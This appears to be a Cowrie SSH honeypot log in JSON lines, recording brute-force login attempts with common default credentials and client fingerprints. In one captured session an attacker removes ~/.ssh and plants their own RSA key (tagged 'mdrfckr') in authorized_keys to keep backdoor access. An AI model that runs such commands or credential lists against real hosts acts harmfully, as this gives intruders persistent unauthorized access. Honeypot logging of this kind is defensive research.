{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:00.905000Z","src_ip":"211.186.79.173","session":"43c43b4f363d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:01.090055Z","src_ip":"211.186.79.173","session":"43c43b4f363d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test10","password":"123456","message":"login attempt [test10/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:01.858630Z","src_ip":"211.186.79.173","session":"43c43b4f363d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:03.049886Z","src_ip":"211.186.79.173","session":"43c43b4f363d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":56310,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2ffdca1e02","protocol":"ssh","message":"New connection: 36.93.249.106:56310 (159.203.135.109:22) [session: cf2ffdca1e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:27.030457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:27.034460Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:27.304138Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!","message":"login attempt [oracle/!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:28.417305Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:29.020139Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:29.024077Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:29.028014Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:29.302937Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:29.883233Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:29.886688Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:30.165315Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:30.169960Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":58718,"dst_ip":"159.203.135.109","dst_port":22,"session":"e35496f66fe8","protocol":"ssh","message":"New connection: 36.93.249.106:58718 (159.203.135.109:22) [session: e35496f66fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:30.420248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:30.425298Z","src_ip":"36.93.249.106","session":"e35496f66fe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:30.689977Z","src_ip":"36.93.249.106","session":"e35496f66fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:31.782943Z","src_ip":"36.93.249.106","session":"e35496f66fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:33.050693Z","src_ip":"36.93.249.106","session":"e35496f66fe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":58720,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0108f319f44","protocol":"ssh","message":"New connection: 36.93.249.106:58720 (159.203.135.109:22) [session: a0108f319f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:33.324802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:33.331783Z","src_ip":"36.93.249.106","session":"a0108f319f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:33.602599Z","src_ip":"36.93.249.106","session":"a0108f319f44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:34.725784Z","src_ip":"36.93.249.106","session":"a0108f319f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:35.001074Z","src_ip":"36.93.249.106","session":"cf2ffdca1e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:35.007195Z","src_ip":"36.93.249.106","session":"a0108f319f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":59674,"dst_ip":"159.203.135.109","dst_port":22,"session":"900f4639fb7c","protocol":"ssh","message":"New connection: 185.9.193.111:59674 (159.203.135.109:22) [session: 900f4639fb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:47.931081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:47.935676Z","src_ip":"185.9.193.111","session":"900f4639fb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:48.138163Z","src_ip":"185.9.193.111","session":"900f4639fb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf1234","message":"login attempt [ubuntu/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:48.916612Z","src_ip":"185.9.193.111","session":"900f4639fb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:50.122749Z","src_ip":"185.9.193.111","session":"900f4639fb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:07.017248Z","src_ip":"120.48.135.189","session":"6ded46cd76e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":48096,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc24e403a106","protocol":"ssh","message":"New connection: 211.186.79.173:48096 (10.17.0.5:22) [session: fc24e403a106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:17.674494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:17.679850Z","src_ip":"211.186.79.173","session":"fc24e403a106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:17.862473Z","src_ip":"211.186.79.173","session":"fc24e403a106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appldev","password":"appldev","message":"login attempt [appldev/appldev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:18.613973Z","src_ip":"211.186.79.173","session":"fc24e403a106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:19.797369Z","src_ip":"211.186.79.173","session":"fc24e403a106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":34368,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbe9c952bd99","protocol":"ssh","message":"New connection: 36.93.249.106:34368 (159.203.135.109:22) [session: cbe9c952bd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:21.554532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:21.559169Z","src_ip":"36.93.249.106","session":"cbe9c952bd99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:21.830180Z","src_ip":"36.93.249.106","session":"cbe9c952bd99","protocol":"ssh"}
